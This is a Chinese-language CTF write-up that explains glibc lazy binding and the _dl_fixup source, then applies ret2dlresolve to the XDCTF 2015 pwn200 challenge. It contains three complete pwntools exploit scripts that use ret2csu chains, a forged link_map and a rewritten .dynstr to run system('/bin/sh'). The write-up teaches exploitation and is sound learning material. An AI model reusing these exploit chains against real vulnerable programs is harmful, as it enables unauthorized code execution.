在一开始打pwn时我们就接触过plt 表和got 表这两个用来动态加载libc函数的重要部分,不过当时我对其理解只限于got表在经过一次调用函数后,里面存着的就是libc中的具体函数指针;而plt表则是我们调用一个函数时事先跳转到的地方,其会跳转到对应got表位置处存的地址。现在我们来学一下是经过了一个什么过程才把真正的函数指针填到got表中,并深入分析一下哪里存在可以利用的点。
其中我们在IDA中看到的.got.plt 段就是我们俗称的got 表:
而.plt 段则存着plt 表,其中每个函数的plt都有两个jmp ,我们调用所有函数都是来到第一个jmp处,然后跳转到对应got表位置存的地址处。在一个函数都还没被调用时,got表里存的就是对应同一个函数的plt表里的第二个jmp前push的地址。所以实际上第一次调用某个函数是由第二个jmp跳转到后续的解析函数(这里是0x400500)。这里看到前面push的数字正好是按照函数在plt中的顺序递增的。而0x400500 处也是push一个地址并跳转到另一个地址处。
在gdb调试中,我们可以看到最后会跳转到**_dl_runtime_resolve_xsavec->_dl_fixup函数链进行解析。进 dl_fixup时的两个参数就是之前push到栈上的序号以及一个libc里的地址( link_map**地址)。
我们可以定位到2.27glibc源码进行查看,**_dl_runtime_resolve位置在 sysdeps/x86_64/dl-trampline.h中。而 _dl_fixup在 elf/dl-runtime.c中。这里我们主要看 _dl_fixup**实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW (Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0 )) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); }
dl_fixup处理过程
我们一步一步来分析具体做了什么。首先看一下传进来的参数是什么。
1 2 3 4 5 _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg)
l
是调用者所在的
link_map
,记录该动态库或可执行文件的加载信息。
reloc_arg
是重定位槽编号(PLT entry
编号),用于查找具体哪个函数需要绑定。
然后看看link_map 是一个什么样的结构
1 2 3 4 5 6 7 struct link_map { ElfW(Addr) l_addr; char *l_name; ElfW(Dyn) *l_ld; struct link_map *l_next , *l_prev ; };
调试时看到的对应结构体远比上面的结构体定义复杂,不过前几个字段还是对的上的,发现第一个next域指的很近,实际使两个link_map重叠了。我们可以跟着next域打印几个link_map 链表结点看看。
看的出来link_map 串联起了多个动态链接库。
ElfW(type)
是用于处理 32位与64位 ELF
兼容性 的一个 GNU-style
宏技巧,它可以根据目标架构自动选择正确的类型。
先看这些宏的定义顺序:
1 2 3 #define ElfW(type) _ElfW (Elf, __ELF_NATIVE_CLASS, type) #define _ElfW(e,w,t) _ElfW_1 (e, w, _##t) #define _ElfW_1(e,w,t) e##w##t
再看变量 __ELF_NATIVE_CLASS
的含义:
__ELF_NATIVE_CLASS
在 32 位系统上为
32
在 64 位系统上为 64
所以:
比如 ElfW(Addr)
会被展开为如下过程(以 64 位为例):
1 2 3 4 ElfW(Addr) -> _ElfW(Elf, 64 , Addr) -> _ElfW_1(Elf, 64 , _Addr) -> Elf64_Addr
宏调用
展开结果
ElfW(Addr)
Elf32_Addr
(32位)或
Elf64_Addr
(64位)
ElfW(Sym)
Elf64_Sym
ElfW(Dyn)
Elf64_Dyn
ElfW(Half)
Elf64_Half
而在elf/elf.h 中,我们就可以看到Elf64_Addr 实际就是一个64位的无符号整型。
Dyn的这个结构体占16字节
1. 获取符号表与字符串表
1 2 const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
symtab
:符号表指针,保存函数名和地址等信息。
strtab
:字符串表指针,保存符号名字符串(比如
"printf"
)。
2. 获取当前重定位项
1 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
DT_JMPREL
:保存 .rel.plt
表的位置;
reloc_offset
是根据 reloc_arg
算出来的;
reloc
:指向当前 PLT 的重定位项。
从上图也可以看到通过基址加偏移的方式计算出了read
got 的重定位表项地址
3. 获取符号项和地址
1 2 const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
reloc->r_info
里面编码了符号索引;
sym
是要绑定的符号(比如 printf
);
rel_addr
是 GOT
中的地址,即我们需要写入“真正函数地址”的地方。
4. 断言:必须是 PLT 重定位
1 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
只处理 JMP_SLOT
类型(即跳转槽),其他如
RELATIVE
等不由 _dl_fixup
处理。
5.
判断符号是否可见并查找真实地址
1 if (ELFW(ST_VISIBILITY) (sym->st_other) == 0 )
如果符号是默认可见(即不是 hidden),则进行全局符号查找:
1 2 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL );
查找流程包括版本信息、作用域锁等;
result
是找到该符号所在的 link_map
;
sym->st_value
是符号在该库内的偏移,加上
result
的基地址就是最终地址。
执行完后rax为0x7ffff7ff4000 ,刚好是之前libc.so.6 那个link_map 的地址。
6. 查询出具体函数的地址
1 2 3 4 5 6 7 8 9 #define DL_FIXUP_MAKE_VALUE(map, addr) (addr) #define LOOKUP_VALUE_ADDRESS(map) ((map) ? (map)->l_addr : 0) value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 );
如果 sym
存在,就计算:
1 value = l_addr + sym->st_value;
这里的l_addr是libc在库中的偏移,也就是说这个是libc_base ,那么value 也就是:符号的真实内存地址
否则:
1 value = DL_FIXUP_MAKE_VALUE(result, 0 );
即符号未找到,回传 0。
从pwndbg中可以很清楚看到read函数的实际地址已经被计算出来了。
7. 修正值:考虑架构的特殊处理
1 2 #define elf_machine_plt_value(map, reloc, value) (value) value = elf_machine_plt_value (l, reloc, value);
某些架构需要对地址进行调整(如加偏移、修正格式);
8. IFUNC 处理(间接函数)
1 2 3 if (sym && STT_GNU_IFUNC) { value = elf_ifunc_invoke(...); }
如果符号类型是
GNU_IFUNC
(间接函数),则先调用解析函数获得真实地址。
9. 写回 GOT
表(用于后续直接跳转)
1 2 3 4 5 6 7 8 9 10 11 12 if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);elf_machine_fixup_plt (struct link_map *map , lookup_t t, const ElfW(Sym) *refsym, const ElfW(Sym) *sym, const ElfW(Rela) *reloc, ElfW(Addr) *reloc_addr, ElfW(Addr) value) { return *reloc_addr = value; }
dl_bind_not
表示是否跳过写回(某些情况会保留懒绑定);
否则会调用 elf_machine_fixup_plt()
把
value
写入 GOT
中的
rel_addr
,完成绑定;
返回 value
给调用方继续执行。
ret2dlresolve利用手法
该手法适用于没有 libc 泄露或 info
leak的情况,但有栈溢出、有任意可控内存写,且已知 plt
,
got
, rel.plt
等节区偏移。本节我们以2015-xdctf-pwn200 这个例题来学习这一手法。题目漏洞很明显,一个裸的栈溢出。
题目里没啥别的控制rdx的gadget,这里可以用ret2csu。
三种 RELRO
模式对比如下,我们在不同的保护模式下利用方式也有所区别,在Full
RELRO 下该利用手法就失效了。
RELRO 类型
.got.plt
可写性
攻击难度
是否启用 lazy binding(延迟绑定)
No RELRO
可写
最低
开启
Partial RELRO
.got.plt
可写
中等
开启
Full RELRO
.got.plt
也只读
最高
禁用(立即绑定)
由于寻找libc基址是通过strtab +
sym->st_name 这个函数的名字来查找的
1 2 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL );
No RELRO-64
在DYNAMIC 节中就存着DT_STRTAB 和DT_SYMTAB ,分别指向字符名表和符号表。而这个DYNAMIC节在No
RELRO 情况下是可写的。那么利用思路就很明确了,可以直接rop链调用read读取内容覆盖DT_STRTAB 为一个我们可控的地址,然后我们自己在该地址处伪造一个字符表,把目标函数的字符串换成system,最后直接返回到该函数plt表第二个jmp前的push处压id调用**_dl_runtime_resolve**即可。
解析完就可以直接执行system函数了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context(arch="amd64" ,log_level="debug" ) context.terminal=["cmd.exe" ,"/c" , "start" , "cmd.exe" , "/c" , "wsl.exe" , "-e" ] p = process("main_no_relro_64" ) elf = ELF("./main_no_relro_64" ) pop_rdi_ret = 0x0000000000400773 pop_rsi_r15_ret = 0x0000000000400771 ret = 0x00000000004004c6 read_got = 0x600B18 gadget1 = 0x40076A gadget2 = 0x400750 strtab = 0x600990 main = 0x40063E data = 0x600c00 def ret2csu (call_got_addr, rdi_val, rsi_val, rdx_val, padding=0x78 , return_after_call=0x0 ): payload = b"A" * padding payload += p64(gadget1) payload += p64(0 ) payload += p64(1 ) payload += p64(call_got_addr) payload += p64(rdi_val) payload += p64(rsi_val) payload += p64(rdx_val) payload += p64(gadget2) payload += p64(0 ) * 7 payload += p64(return_after_call) if return_after_call else b"" return payload p.sendlineafter("Welcome to XDCTF2015~!" ,ret2csu(read_got, 0 , strtab, 8 , return_after_call=main)) p.send(p64(data)) dynstr = elf.get_section_by_name('.dynstr' ).data() dynstr = dynstr.replace(b"read" ,b"system" ) p.sendlineafter("Welcome to XDCTF2015~!" ,ret2csu(read_got, 0 , data, 0x60 , return_after_call=main)) p.send(dynstr) p.sendlineafter("Welcome to XDCTF2015~!" ,ret2csu(read_got, 0 , data+0x100 , 8 , return_after_call=main)) p.send(b"/bin/sh\x00" ) payload = b"a" *0x78 + p64(ret) + p64(pop_rdi_ret) + p64(data+0x100 ) + p64(0x400516 ) p.sendlineafter("Welcome to XDCTF2015~!" ,payload) p.interactive()
PARTIAL RELRO-64
法一
由于在PARTIAL
RELRO 下dynamic节不可直接改写,所以要借助其它方式来利用。首先我们重温一下dl_fixup 的流程,以write调用为例,一开始我们可以发现可以定位到ELF
JMPREL Relocation
Table 的起始位置0x400488 ,然后通过rdx的偏移定位到对应的Elf64_Rela 表项,这里的rdx是用rsi定位出来的,而rsi正是我们plt表中第一个push的序号。
其中ELF64_Rela结构体定义如下,其中sym的偏移在r_info 的高4字节处,那么可以看出write的sym偏移为1,read的sym偏移为4:
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; #define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
在 64 位下,Elf64_Sym 结构体为,其中Elf64_Word 32 位,Elf64_Section 16
位,Elf64_Addr 64 位,Elf64_Xword 64 位
所以,Elf64_Sym 的大小为 0x18 个字节。
1 2 3 4 5 6 7 8 9 typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym;
由于got表还是可写的,而且程序解析函数前push进去的link_map 地址也在got表上(前面的0x601008位置就是存link_map 的地址,10处存**_dl_runtime_resolve函数指针)。那么我们可以直接覆盖掉这个link_map指针,并指向自己伪造一个 link_map**,从而可以实现攻击目的。
需要伪造的link_map 结构体比较复杂,这里可以尝试结合动态调试把用到的字段填充。比如一开始这里获取symtab,根据正常运行时的结果,我们伪造link_map 的偏移0x68处是一个地址A,A+0x8处存着字符表指针,那我们可以把这个位置指向我们可控的地址,其偏移8处为我们伪造的字符表;而偏移0xf8处可以直接填入0x3fe5e0 (可见之前的图,理论上也可以自己伪造),复用程序的ELF
JMPREL Relocation Table 。
1 2 3 4 5 6 7 8 9 10 dynstr = elf.get_section_by_name('.dynstr' ).data() dynstr = dynstr.replace(b"read" ,b"system" ) dynstr = dynstr.replace(b"stdout" ,b"stdo" ) fake_link_map = flat({ 0x68 : (data+0x200 ), 0xf8 : 0x3fe5e0 , 0x208 : (data+0x210 ), 0x210 : dynstr })
首先用上述fake_link_map 后,我们再往后执行看看,然后需要往偏移0x70处填入0x3fe570,复用正常的link_map 的值。
然后版本字段也需要对照正常的情况在偏移0x1c8 处填入0x3fe640 ,但这里比较麻烦的是,正常执行过程中后面的0x2e0 偏移处存的是一个libc上的地址,这个是我们不能预测的。我们只能尝试控制该地址后,在该地址+6*8偏移处手动填入0x3fe47b ,并且在再高8位地址处手动填入hash码。
之后来到lookup_symbols 的调用,发现第四个参数也就是l->l_scope 又是一个我们无法控制的值,其由mov rcx, qword ptr [r10 + 0x380]
得到,但这个位置的值又是一个libc上的地址,我们不能预测。那么实际上这条路就被封死了,我们只能另寻他法。
有了上面的基础,其实如果我们可以用write或其它输出函数泄露出原来link_map 的值,那我们就可以不用自己伪造其它字段,只用更改一开始的strtab 的引用即可,也就是更改0x68偏移处的内容即可。但很显然,如果可以泄露地址的话不如直接获取libc基址然后打ret2libc,更加简洁方便,我们这里其实可以用别的方法来在没有地址泄露的情况下打通。
其实我们仔细看源码,就会发现前面的执行都是进了下面这个分支中找libc计算地址的,但实际程序还可以进入else分支进行计算。
1 2 3 4 5 6 7 8 9 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ){ ...... } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; }
那我们可以构造参数从而使最后byte ptr [rsi + 5]
处为3,这里对于read函数来说,后面靠着sym表(也就是0xf8处)得到的idx为4,那么0x7f81ca42efbb 处算出的rsi就为0xc,之后只要控制lea rsi, [rax + rsi*8]
中的rax就可以完成对rsi的控制。而且这里add rbx,rax
得到的rbx得是got表地址,也就是说此时的rax必须为0,因为前面已经把got地址赋给了rbx。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 0x7f81ca42ef86 <_dl_fixup+6> lea rdx, [rsi + rsi*2] 0x7f81ca42ef8a <_dl_fixup+10> sub rsp, 0x10 0x7f81ca42ef8e <_dl_fixup+14> mov rax, qword ptr [rdi + 0x68] 0x7f81ca42ef92 <_dl_fixup+18> mov rdi, qword ptr [rax + 8] 0x7f81ca42ef96 <_dl_fixup+22> mov rax, qword ptr [r10 + 0xf8] 0x7f81ca42ef9d <_dl_fixup+29> mov rax, qword ptr [rax + 8] 0x7f81ca42efa1 <_dl_fixup+33> lea r8, [rax + rdx*8] 0x7f81ca42efa5 <_dl_fixup+37> mov rax, qword ptr [r10 + 0x70] 0x7f81ca42efa9 <_dl_fixup+41> mov rcx, qword ptr [r8 + 8] 0x7f81ca42efad <_dl_fixup+45> mov rbx, qword ptr [r8] 0x7f81ca42efb0 <_dl_fixup+48> mov rax, qword ptr [rax + 8] 0x7f81ca42efb4 <_dl_fixup+52> mov rdx, rcx 0x7f81ca42efb7 <_dl_fixup+55> shr rdx, 0x20 0x7f81ca42efbb <_dl_fixup+59> lea rsi, [rdx + rdx*2] 0x7f81ca42efbf <_dl_fixup+63> lea rsi, [rax + rsi*8] 0x7f81ca42efc3 <_dl_fixup+67> mov rax, qword ptr [r10] 0x7f81ca42efc6 <_dl_fixup+70> mov qword ptr [rsp + 8], rsi 0x7f81ca42efcb <_dl_fixup+75> add rbx, rax 0x7f81ca42efce <_dl_fixup+78> cmp ecx, 7 0x7f81ca42efd1 <_dl_fixup+81> jne _dl_fixup+372 <_dl_fixup+372> 0x7f81ca42efd7 <_dl_fixup+87> test byte ptr [rsi + 5], 3 0x7f81ca42efdb <_dl_fixup+91> jne _dl_fixup+248 <_dl_fixup+248>
构造的fake_link_map 如下:
1 2 3 4 5 6 7 8 9 fake_link_map = flat({ 0x00 : 0 , 0x68 : 0x3fe560 , 0x70 : (data+0x150 ), 0xf8 : 0x3fe5e0 , 0x158 : (data+0x200 -0xc *8 ), 0x205 : 3 , })
然后进入目标分支,此时add rax, qword ptr [rsi + 8]
得到的结果最后会写回到got表中,但前面我们已经把rax改成0了,这里我们能够实现写system 函数的地址到read_got ,需要让rsi 指向某个已经解析过的函数的got表地址-8,而且rsi+5 处的值得为3,这里刚好可以发现第五个字节一般是0x7f,可以通过test byte ptr [rsi + 5], 3
的条件。然后rax存一个相对偏移,从而可以在rax里得到system 函数的地址。但我们如果把rax变成偏移,那么前面生成rbx的逻辑就得不到对应得got表地址了。不过其实这个函数解析完后,最后会直接跳转到此时解析出得函数指针处执行,如果能确保此时得rbx为一个可写的地址,也可以实现利用。所以我们还得调整rbx的值。那么实际这个偏移0xf8处的symtab 也得我们自己构造。
用的fake_link_map 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 offset = libc.sym["system" ]-libc.sym["read" ] fake_link_map = flat({ 0x00 : offset, 0x68 : 0x3fe560 , 0x70 : (data+0x150 ), 0xf8 : (data+0x300 ), 0x158 : (read_got-8 -0xc *8 ), 0x308 : (data+0x320 -9 *8 ), 0x320 : (read_got-offset), 0x328 : (0x400000007 ), 0x350 : b"/bin/sh\x00" })
最后就可以把system函数地址写到read_got 中,只要我们事先把rdi指向/bin/sh,然后再返回到read 所对应的plt表项的第二个jump前的push。然后就可以getshell了。每个程序的函数表的布局不一样,所以根据题目的不同改0x68,0x158,0x308,0x328处的值即可。如果想要更紧凑的fake_link_map 可以自行更改偏移。
最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *context(arch="amd64" ,log_level="debug" ) context.terminal=["cmd.exe" ,"/c" , "start" , "cmd.exe" , "/c" , "wsl.exe" , "-e" ] p = process("main_partial_relro_64" ) elf = ELF("./main_partial_relro_64" ) libc = ELF("./libc.so.6" ) pop_rdi_ret = 0x00000000004007a3 pop_rsi_r15_ret = 0x00000000004007a1 ret = 0x00000000004004fe read_got = 0x601030 gadget1 = 0x40079A gadget2 = 0x400780 link_map = 0x601008 main = 0x40066E data = 0x601500 def ret2csu (call_got_addr, rdi_val, rsi_val, rdx_val, padding=0x78 , return_after_call=0x0 ): payload = b"A" * padding payload += p64(gadget1) payload += p64(0 ) payload += p64(1 ) payload += p64(call_got_addr) payload += p64(rdi_val) payload += p64(rsi_val) payload += p64(rdx_val) payload += p64(gadget2) payload += p64(0 ) * 7 payload += p64(return_after_call) if return_after_call else b"" return payload p.sendlineafter("Welcome to XDCTF2015~!" ,ret2csu(read_got, 0 , link_map, 0x8 , return_after_call=main)) p.send(p64(data)) dynstr = elf.get_section_by_name('.dynstr' ).data() dynstr = dynstr.replace(b"read" ,b"system" ) dynstr = dynstr.replace(b"stdout" ,b"stdo" ) offset = libc.sym["system" ]-libc.sym["read" ] log.info(offset) fake_link_map = flat({ 0x00 : offset, 0x68 : 0x3fe560 , 0x70 : (data+0x150 ), 0xf8 : (data+0x300 ), 0x158 : (read_got-8 -0xc *8 ), 0x308 : (data+0x320 -9 *8 ), 0x320 : (read_got-offset), 0x328 : (0x400000007 ), 0x350 : b"/bin/sh\x00" }) p.sendlineafter("Welcome to XDCTF2015~!" ,ret2csu(read_got, 0 , data, 0x400 , return_after_call=main)) p.send(fake_link_map) payload = b"a" *0x78 + p64(ret) + p64(pop_rdi_ret) + p64(data+0x350 ) + p64(0x400546 ) p.sendlineafter("Welcome to XDCTF2015~!" ,payload) p.interactive()
法二
但我之后发现有字符表位于0x3fe438 处好像是直接可写的,而且其地址也是固定的,那么就可以试试直接覆盖不在程序段的字符表。
可惜的是最后有如下报错,那我们跟进去dl_fixup 看看是具体哪里出了问题。报错说是e不是一个symbol
system version 。
发现是我们前面直接把read字符串换成system字符串写入后,后面用到的版本信息错位了。那么我们前面就需要确保后续信息的对齐,可以破坏掉一些已经解析过的libc函数的字符串缩减字符,由于不会再用到该字符串,所以无伤大雅。
将版本信息对齐后,就可以正常把system函数地址解析进入read
got 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context(arch="amd64" ,log_level="debug" ) context.terminal=["cmd.exe" ,"/c" , "start" , "cmd.exe" , "/c" , "wsl.exe" , "-e" ] p = process("main_partial_relro_64" ) elf = ELF("./main_partial_relro_64" ) pop_rdi_ret = 0x00000000004007a3 pop_rsi_r15_ret = 0x00000000004007a1 ret = 0x00000000004004fe read_got = 0x601030 gadget1 = 0x40079A gadget2 = 0x400780 main = 0x40066E data = 0x601500 strtab = 0x3fe438 def ret2csu (call_got_addr, rdi_val, rsi_val, rdx_val, padding=0x78 , return_after_call=0x0 ): payload = b"A" * padding payload += p64(gadget1) payload += p64(0 ) payload += p64(1 ) payload += p64(call_got_addr) payload += p64(rdi_val) payload += p64(rsi_val) payload += p64(rdx_val) payload += p64(gadget2) payload += p64(0 ) * 7 payload += p64(return_after_call) if return_after_call else b"" return payload dynstr = elf.get_section_by_name('.dynstr' ).data() dynstr = dynstr.replace(b"read" ,b"system" ) dynstr = dynstr.replace(b"stdout" ,b"stdo" ) p.sendlineafter("Welcome to XDCTF2015~!" ,ret2csu(read_got, 0 , strtab, 0x98 , return_after_call=main)) p.send(dynstr) p.sendlineafter("Welcome to XDCTF2015~!" ,ret2csu(read_got, 0 , data, 8 , return_after_call=main)) p.send(b"/bin/sh\x00" ) payload = b"a" *0x78 + p64(ret) + p64(pop_rdi_ret) + p64(data) + p64(0x400546 ) p.sendlineafter("Welcome to XDCTF2015~!" ,payload) p.interactive()
但这种方法不是一直可以生效的,主要得看有没有可写的strtab 。不如法一通用。